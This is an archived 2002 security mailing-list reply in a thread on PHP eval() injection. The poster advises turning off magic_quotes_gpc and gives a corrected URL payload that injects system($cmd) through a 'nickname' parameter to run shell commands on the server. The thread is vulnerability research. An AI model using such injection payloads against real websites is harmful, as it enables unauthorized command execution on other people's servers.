PHP : eval() ?

From: b0iler (b0ilerat_private)
Date: Thu Jul 18 2002 - 16:31:39 PDT

Next message: Slow2Show: "Re: PHP : eval() ?"

Previous message: FozZy: "nsmail XSS hole (was Re: double decoding filter bypass (Hotmail) + challenge for you)"
Next in thread: Slow2Show: "Re: PHP : eval() ?"
Reply: Slow2Show: "Re: PHP : eval() ?"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Turn magic_quotes_gpc off.

>I've write in my webbrowser :
>http://[website]/script.php?nickname=test";system(\$cmd);%20echo%20"hop&cmd=ls

purhaps try:
http://[website]/script.php?nickname=test";system($cmd);%20echo%20"hop&cmd=ls

btw, I thank you for your contributions to vuln-dev and the security 
community.  Your advisories have helped me alot.

--
http://b0iler.eyeonsecurity.net

Next message: Slow2Show: "Re: PHP : eval() ?"
Previous message: FozZy: "nsmail XSS hole (was Re: double decoding filter bypass (Hotmail) + challenge for you)"
Next in thread: Slow2Show: "Re: PHP : eval() ?"
Reply: Slow2Show: "Re: PHP : eval() ?"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Thu Jul 18 2002 - 18:32:37 PDT